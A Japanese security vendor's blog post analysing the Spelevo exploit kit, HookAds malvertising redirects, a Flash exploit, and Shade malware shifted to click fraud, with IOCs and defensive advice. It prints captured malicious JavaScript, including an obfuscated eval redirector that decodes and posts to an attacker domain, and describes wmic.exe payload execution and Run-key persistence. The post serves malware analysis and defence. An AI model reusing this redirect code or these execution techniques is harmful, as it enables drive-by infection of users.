私達は最近、当社が日本で観測したアクティビティである「エクスプロイトキット(EK)により配信されるShadeランサムウェア」についてツイートしました

このツイートおよびFallout EKに関する前回のブログ記事に対するフォローアップとして、私達は、Spelevo EKと新たに観測されたアクティビティに関して詳しく説明したいと思います。私達は、このエクスプロイトとそのデリバリーモデルをより詳細に調べると共に、Shadeランサムウェアの新しい方向性についても考察する予定です。

当社では直近の調査により、日本におけるエクスプロイトキットが増加傾向にあることに気付きました。Cybereasonの収集情報によると日本では更新されていない脆弱なOSの利用が多数確認されており、攻撃者がそれを利用し標的とすることを学習したことが原因の一つであると考えられます。

この記事では、3月の最初の週に、Kafeineというニックネームを持つ研究者により最初に観測された新しいエクスプロイトキットについて紹介します(ツイートへのリンク)。

エクスプロイトキット(EK)がどのような手法で今後も生き延びようとするかは、非常に興味深い問題です。最近では、エクスプロイトキットの開発者になるためには、大いなる意欲に加えて、おそらく自分が行う活動に関する情熱が必要です。なぜなら、エクスプロイトキットの開発は、コストとメリットを考慮すると、それほど儲かる仕事ではないからです。

大多数のエクスプロイトキットは、MicrosoftのInternet Explorerに対してのみ有効です(すなわち、Internet Explorerのみを標的としています)。しかし、近年ではGoogleのChromeやMozillaのFirefoxのようなブラウザの人気が高まるにつれ、Internet Explorerのユーザー数は減少しています。

ChromeおよびFirefoxは、Internet Explorerと比べて非常に堅牢です。たとえば、ChromeおよびFirefoxはデフォルトでAdobe Flashに対応しておらず(Flashは脆弱性を悪用する攻撃者によって好まれているソフトウェアです)、効果的なパッチおよびアップデートのインフラストラクチャを備えています。

また、ほとんどのChromeユーザーは同ブラウザの最新バージョンを利用しているため、Chromeをエクスプロイトするようなキットが開発者によりリリースされた時点で、Chromeユーザーはパッチを適用済みの新しいバージョンのブラウザをすでに利用していることになります。

上記に加え、過去数年でエクスプロイトキットの利用が軽減する傾向にある中、今回新しいエクスプロイトキットが確認されたことは興味深い内容です。これは、エクスプロイキットを利用した攻撃の復活の兆しなのでしょうか?もしそうであるならば、今後この新しい特殊な手法による攻撃が広がる前に攻撃に備える必要があります。

前回の記事では、Fallout EKがPowerShellの利用をその武器庫にどうやって追加したかについて説明しましたが、今回の記事では、サイバーリーズンが見つけたSpelevo EKによるWindows Management Instrumentation (WMI)の利用について説明します。

感染メカニズムの要約

感染フローを表す図を下記に示します。

Spelevoは、その仲間であるRIG EKGrandSoft EKとの大きな違いはなく、これらと同様にロシアのハッキンググループによって開発されたものと見られています。これらのキットは約1000ドル~1500ドルで販売(月次ライセンス/貸出)されており、それらが提供するものを考えるならば、これは決して高い値段ではありません。

分析

Spelevoの感染メカニズムは、私達がFalloutで確認したものに似ています。ユーザーは、インターネットをブラウジング中に感染したページにアクセスすると、エクスプロイトを提供するエクスプロイトキットのランディングページへとリダイレクトされます。前回の記事で、感染したWebサイトの大半はアダルトコンテンツのサイトであると指摘しましたが、今回の感染サイトは、一般に正規であると思われているTVサービス用Webサイトでした。

サイバーリーズンがキャプチャしたネットワークトラフィックを下記に示します。

エクスプロイトキットはしばしば、トラフィック分散システム(TDS)により拡散されます。TDSは、トラフィックの分散を受け持つ仲介者として機能します。その目的は、大量のトラフィックを制御し統計情報を収集することですが、攻撃者はこれらの機能を利用し、磨きをかけることができます。また、攻撃者は、誰をどこにリダイレクトし、何を使って攻撃するか(すなわち、どんなマルウェアやエクスプロイトを使用するか)を制御できます。

この場合、FalloutとSpelevoはどちらも同じ拡散インフラストラクチャとして、HookAdsと呼ばれる悪意ある広告攻撃を使用します。この攻撃は非常にアクティブであり、本稿執筆時点でなおも実行中であり、毎日のように新しいドメインが登録されています。当社による感染の分析中にも、いくつかのドメインが新しいドメインですでに置き換えられていました。



このような印象的で迅速なローテーションは、エクスプロイトキットが将来も生き続けるために役立ちます。
リダイレクション用のコードは、前回のブログ記事で示したもの(todaymale[.]xyzのコード)に類似しており、これにはいくつかのブラウザチェックや、さらなるリダイレクションを担当するコードが含まれています。

HookAdsによるリダイレクトとSpelevoのランディングページ

ブラウザチェック
function getBrowser() {
  var ua = navigator.userAgent;

  var broObj = {
   browser: ‘unknown’,
   browser_real: ”,
   allright: false,
   browser_quality: 0,
   platform: ‘desktop’,
   versionFull: ”,a
   versionShort: ”
  };

try{

var bName = function () {
  if (ua.search(/Edge/) > -1) return "edge";
  if ((ua.search(/MSIE/) > -1) || (ua.search(/Trident/) > -1)) return "ie";
  if (ua.search(/Firefox/) > -1) return "firefox";
  if ((ua.search(/Opera/) > -1) || (ua.search(/OPR/) > -1)) return "opera";
  if (ua.search(/YaBrowser/) > -1) return "yabrowser";
  if (ua.search(/Chrome/) > -1) return "chrome";
  if (ua.search(/Safari/) > -1) return "safari";
  if (ua.search(/Maxthon/) > -1) return "maxthon";
  else return "unknown";
}();

悪意あるeval 関数(リダイレクションを担当)
eval(function(a, b, c, d, e, f) {
  e = function(a) {
    return (a < b ? "" : e(parseInt(a / b))) + ((a %= b) > 35 ?     String.fromCharCode(a + 29) : a.toString(36));
  };
  if (!"".replace(/^/, String)) {
    while (c–) f[e(c)] = d[c] || e(c);
    d = [ function(a) {
    return f[a];
  } ];
  e = function() {
    return "\\w+";
  };
  c = 1;
}
  while (c–) if (d[c]) a = a.replace(new RegExp("\\b" + e(c) + "\\b", "g"), d[c]);
  return a;
}(‘8 c="z"+"B"+"E"+"C+/"+"=";q u(1){8 5="";8 d,h,k="";8 l,a,7,b="";8 i=0;8 v=/[^A-w-x-9\\+\\/\\=]/g;e(v.D(1)){}1=1.G(/[^A-w-x-9\\+\\/\\=]/g,"");F{l=c.f(1.j(i++));a=c.f(1.j(i++));7=c.f(1.j(i++));b=c.f(1.j(i++));d=(l<<2)|(a>>4);h=((a&H)<<4)|(7>>2);k=((7&3)<<6)|b;5=5+o.m(d);e(7!=p){5=5+o.m(h)}e(b!=p){5=5+o.m(k)}d=h=k="";l=a=7=b=""}I(i<1.W);X 11(5)}q Y(){t=10();e(t.Z==U){n.V(\’\’)}M{s.r[0].n.L.J=\'<y K="O" P="T" S="\’+u(\’R==\’)+\’"></y>\’;s.r[0].n.Q[0].N()}}’, 62, 64, "|input||||output||enc3|var||enc2|enc4|keyStr|chr1|if|indexOf||chr2||charAt|chr3|enc1|fromCharCode|document|String|64|function|frames|window|BrowserInfo|decode64|base64test|Za|z0|form|ABCDEFGHIJKLMNOP||QRSTUVWXYZabcdef|wxyz0123456789|exec|ghijklmnopqrstuv|do|replace|15|while|innerHTML|target|body|else|submit|_parent|method|forms|aHR0cDovL2FkMy5kb2dmdW5ueXZpZGVvcy54eXovbXlkb2dneXN0eWxld2l0aHlvdXJraXR0eQ|action|post|true|write|length|return|visits|allright|getBrowser|unescape".split("|"), 0, {}));

evalに送られる上記のコードは、次のようにアンパックされます。

var keyStr = "ABCDEFGHIJKLMNOP" + "QRSTUVWXYZabcdef" + "ghijklmnopqrstuv" + "wxyz0123456789+/" + "=";

function decode64(input) {
  var output = "";
  var chr1, chr2, chr3 = "";
  var enc1, enc2, enc3, enc4 = "";
  var i = 0;
  var base64test = /[^A-Za-z0-9\+\/\=]/g;
  if (base64test.exec(input)) {}
  input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  do {
    enc1 = keyStr.indexOf(input.charAt(i++));
    enc2 = keyStr.indexOf(input.charAt(i++));
    enc3 = keyStr.indexOf(input.charAt(i++));
    enc4 = keyStr.indexOf(input.charAt(i++));
    chr1 = (enc1 << 2) | (enc2 >> 4);
    chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
    chr3 = ((enc3 & 3) << 6) | enc4;
    output = output + String.fromCharCode(chr1);
    if (enc3 != 64) {
      output = output + String.fromCharCode(chr2)
    }
    if (enc4 != 64) {
      output = output + String.fromCharCode(chr3)
    }
      chr1 = chr2 = chr3 = "";
      enc1 = enc2 = enc3 = enc4 = ""
    } while (i < input.length);
    return unescape(output)
  }

function visits() {
  BrowserInfo = getBrowser();
  if (BrowserInfo.allright == true) {
    document.write(”)
  } else {
    window.frames[0].document.body.innerHTML = ‘<form target="_parent" method="post" action="’ +   decode64(‘aHR0cDovL2FkMy5kb2dmdW5ueXZpZGVvcy54eXovbXlkb2dneXN0eWxld2l0aHlvdXJraXR0eQ==’) + ‘"></form>’;
    window.frames[0].document.forms[0].submit()
  }
}

上記のコード断片の末尾にあるBase64エンコード文字列は、 「ad3[.]dogfunnyvideos[.]xyz/mydoggystylewithyourkitty」へとデコードされます。
私達が観測したすべてのHookAdsドメインがオランダでホスティングされており、そのIPアドレスが185[.]56[.]233[.]186に解決されることは注目に値します。

HookAds ドメインの1つであるplay-milk[.]clubのWHOISレコードは次のようになります。


新たに登録されたドメイン

最終ページ(すなわちエクスプロイトキットのランディングページ)に到達すると、追加のブラウザチェックが実行された後に、Flashのエクスプロイト(CVE-2018-15982)が取得されます。

このランディングページのコードを調べたところ、私達が以前に調査したGrandSoftやFalloutのような他のエクスプロイトキットと大きな違いはなく、これらのエクスプロイトキットは実際にはほとんど同じものでした。これは、これらのエクスプロイトキットの開発者間で協力関係が存在することを示唆しています。

このコードには難読化された部分が含まれています。同コードの断片を下記に示します。

function decode_base64(s) {
  var e={},i,k,v=[],r=”,w=String.fromCharCode;
  var n=[[65,91],[97,123],[48,58],[43,44],[47,48]];

  for(z in n){for(i=n[z][0];i<n[z][1];i++){v.push(w(i));}}
  for(i=0;i<64;i++){e[v[i]]=i;}

  for(i=0;i<s.length;i+=72){
    var b=0,c,x,l=0,o=s.substring(i,i+72);
    for(x=0;x<o.length;x++){
      c=e[o.charAt(x)];b=(b<<6)+c;l+=6;
      while(l>=8){r+=w((b>>>(l-=8))%256);}
    }
  }
  return r;
 }
 var a2 = decode_base64(a);

同じページには難読化解除関数があります。この関数は、長いBase64エンコード文字列を値として含む上記の変数(var a)を受け入れ、それを難読化解除します。

function decode_base64(s) {
  var e={},i,k,v=[],r=”,w=String.fromCharCode;
  var n=[[65,91],[97,123],[48,58],[43,44],[47,48]];

  for(z in n){for(i=n[z][0];i<n[z][1];i++){v.push(w(i));}}
  for(i=0;i<64;i++){e[v[i]]=i;}

  for(i=0;i<s.length;i+=72){
    var b=0,c,x,l=0,o=s.substring(i,i+72);
    for(x=0;x<o.length;x++){
      c=e[o.charAt(x)];b=(b<<6)+c;l+=6;
      while(l>=8){r+=w((b>>>(l-=8))%256);}
    }
  }
  return r;
}
var a2 = decode_base64(a);

デバッガを使用して「return r; 」の戻り値にブレークポイントを設定することで、1000行からなる難読化解除されたコードを取得できます。このコードには、使用する関連エクスプロイトの選択を担当する追加的なブラウザおよびプラグイン分類関数が含まれています。

この難読化解除されたコード断片とプラグインチェック関数を下記に示します。

(function () {
  var j = {
  version: "0.9.1",
  name: "PluginDetect",
  addPlugin: function (p, q) {
    if (p && j.isString(p) && q && j.isFunc(q.getVersion)){
    p = p.replace(/\s/g, "").toLowerCase();
    j.Plugins[p] = q;
      if (!j.isDefined(q.getVersionDone)) {
        q.installed = null;
        q.version = null;
        q.version0 = null;
        q.getVersionDone = null;
        q.pluginName = p;
      }
    }
  },
  uniqueName: function () {
    return j.name + "998"
  },
  openTag: "<",
  hasOwnPROP: ({}).constructor.prototype.hasOwnProperty,
  hasOwn: function (s, t) {
    var p;
  try {
    p = j.hasOwnPROP.call(s, t)
  } catch (q) {}
  return !!p

当社のハンティングエンジンを使用して、私達は、当該環境においてエクスプロイトされた脆弱性のあるFlash のバージョンを特定することができました。そのバージョン番号は「25.0.0.170」でした。Adobe社の公式ホームページにて旧バージョンの情報を参照すると該当バージョンは2017年5月にリリースされたとわかります。なお、最新バージョンは32となります。

ペイロードの実行

エクスプロイトした上で、WMIを使用してペイロードが実行されます。これはエクスプロイトキットを使用したドライブバイダウンロード攻撃におけるシナリオでは非常に珍しい手法であり、攻撃者がセキュリティ製品の検知を免れるためにWindowsの正規ツールを悪用する方法の一つです。

ペイロードが%AppData%フォルダに保存された後、同ペイロードはWMI コマンドラインユーティリティであるwmic.exeによって実行されます。

上記の手法は「LOLBin(living off the land binary)」と呼ばれる有名な手法です。基本的に、引数「process call create」の後に実行可能ファイルのパスを指定することで、プロセスの開始が可能となります。

上記の図のwmic.exeの下のツリーには、悪意あるプロセスである82F5.tmpは表示されていません。WMIはリモートからクエリや制御が行えるように設計されており、WmiPrvSE.exeプロセス(WMI Provider Host)が標的システム上におけるWMI コマンドの実行を行うため、ペイロードはWmiPrvSE.exeの子プロセスとして実行されます。当社のプラットフォームにおいても、wmiprvse.exeによる悪意ある振る舞いをアラート(Malop)として自動検知します。

ペイロードの調査:Shadeランサムウェア

Shadeランサムウェア検知は2014年の終わりに初めて出現しました。

このマルウェアは単にファイルを暗号化するだけではなく、そのバイナリ内に組み込まれているTORライブラリを使用して、追加の悪意あるモジュールをインストールすることで知られています。

観測されたこのダウンロードモジュールには、暗号通貨マイニングプログラムリモート制御ボットなども含まれていました。

このファイルを静的に調べることで、同ファイルのメタデータが、正規のFoxit READER(人気のあるフリーウェアのPDFビューア)のPDFファイルのように見せかけるために変更されていることが分かりました。

これは、同ファイルの合法性に関して疑いを持たれないようにするための措置です。同マルウェアは、従来型のAVチェックをすり抜けるために署名されています。

しかし、分析の時点でその署名は有効ではなかったため、攻撃者としては疑いを避けるどころかより疑いを持たせる逆効果の結果をもたらしています。

また、ペイロード(82f5.tmp))のようなランダムな名前を持つ“temp” (一時)ファイルは、多くの場合、新しいソフトウェアのインストールに関係あるものと見なされるため、徹底的な分析が行われない場合には気付かれることもありません。


Cybereason上に確認頂けるファイルのメタデータ


過去有効であったデジタル署名

実行時に、このマルウェア(82f5.tmp)は自分自身のリネームされたコピーを%programdata% フォルダ内に作成し、作成されたフォルダ(フォルダ名services)およびペイロード(csrss.exe)の属性を指定することでユーザーから見えない状態で配置します。


Csrss.exeのファイルプロパティ

さらに、同マルウェアは、レジストリの自動実行キーの形式でパーシステンス(持続性)を保持します。このディレクトリパスにキーを作成する手法は、マルウェアがブート時に起動するための多くの方法のうちの1つであり、これによりマルウェアはシステムリブート後にも継続的に稼働することが可能となります。

このリネームされたコピーはリブートが行われるまで実行されず、オリジナルのペイロード(この場合82f5.tmp)の実行が維持されます。

パーシスタンス(持続性)

Cybereasonプラットフォームに表示されたパーシステンス(持続性)のメカニズムは次の通りです。

完全なレジストリキーのパスは次の通りです。

hku\[省いた]\software\microsoft\windows\currentversion\run\windows session manager

ランサムウェア

これまで、Shade はファイルを暗号化して身代金を要求するプログラムとして知られてきました。しかし、当社が分析したケースでは、その動機が異なっているようです。当社のファイルが暗号化されることはなく、その代わりに、数百件もの乗っ取られたと思われるドメインへの接続が観測されました。

そのようなページの1つのソースを調査したところ、私達はクリック詐欺の痕跡を発見しました。基本的に、同マルウェアは、攻撃者にとって資金を稼ぐための非常に効果的な方法として実証されているクリック詐欺を生成するもののようです。


クリック詐欺の痕跡

当社のプラットフォーム上で、被害者と悪意あるドメインの間でどれくらいの量のデータがやり取りされたかを調べてみました(Google関連のトラフィックは除く)。

通常、画像や動画の多いサイトを閲覧しない限りこのようなデータ量には至りません。さらに、本攻撃で観測したトップレベルドメインは日本のユーザには滅多に閲覧されません(.fi, .ruまたは.caは日本では珍しいトップレベルドメイン)。

データの受信量が上記ほどに達するWEBサイトは一般的に知れ渡ったSNSのサイトなどがありますが、もし対象サイトがユーザーに閲覧されるものではなく、且つ想定しないデータの送受信量が確認された場合には調査する価値があるかもしれません。

さらに同マルウェアを分析する中で、そのTor 機能に関する手掛かりが得られました。同マルウェアには、Torノードの長大なリストが含まれていることが分かりました。Torモジュールが使用するキャッシュファイルは%temp% フォルダ内に投下され、同ファイルには、使用されたTorのバージョンや最後に実行された日時などの情報が含まれていました。


フルパスは次の通りです。

C:\Users\[省いた]\AppData\Local\Temp\9P2i8FeHvz. 太文字部分はランダムな文字列で生成されます


【左】ノード/リレーのリスト 【右】メモリ内のTor設定の例

結論

私達の収集した情報から、Shadeによる攻撃がランサムウェアのルーツから逸脱し、クリック詐欺のような被害者の地理情報に直接結びついた行動に移行していることわかりました。同マルウェアの作者は、Spelevo EKを組み合わせることで、脆弱性のあるブラウザを通じてペイロードを配信していたほか、正規の組み込み型のWindowsバイナリ(wmic.exe)を使用して悪意あるファイルを実行することにより、発見を困難にする工夫を施していました。

Shade が今後もクリック詐欺に固執するのか、それともこれが単なるトライアルであるのかは、現時点では不明です。クリック詐欺は、その作者に大きな利益をもたらしてきた実績があり、また、ランサムウェアと比較すると注目を集めることが少ないため、より長い期間気付かれないまま攻撃を継続することが可能です。今後もこのようなShadeによる新たな攻撃の傾向が続く可能性が示唆されます。

推奨事項

すべてのサードパーティー製アドオンやブラウザが最新バージョンであることをご確認ください。また、頻繁に悪用されるソフトウェア(JavaやFlashなど)が業務で必要ない場合には、それらを完全に削除することをご検討ください。

さらに、災害発生時における迅速な復旧とビジネス継続性を可能にするために、できれば外部ネットワーク(クラウドベースのソリューションなど)に対する定期的なバックアップを実施することをお勧めします。

最大の冗長性を実現するためには、追加の独立した場所における物理バックアップの導入も検討する価値があります。

セキュリティ侵害の痕跡

Payload (Shade)

SHA-1: E6B0FEF60562A33B68B5A3CDCAC9856756A5E883

Domains

voluptuous[.]googleresearcher[.]xyz
ad3[.]dogfunnyvideos[.]xyz
todaymale[.]xyz
ertagov[.]com

IPs

85[.]17.197.100
5[.]23.49.200
185[.]56.233.186
72[.]52.179.174

ホワイトペーパー「すべての組織が狙われている」

企業、組織がどんなにセキュリティを強固にしてもハッカーが悪用できる脆弱性は必ず存在します。侵入されることが避けられないことを受け入れ、新たな対策を立てる必要があります。本書で、なぜ避けられないのか、どのように対処するのかをご覧ください。
https://www.cybereason.co.jp/product-documents/input/?post_id=606

ホワイトペーパー「すべての組織が狙われている」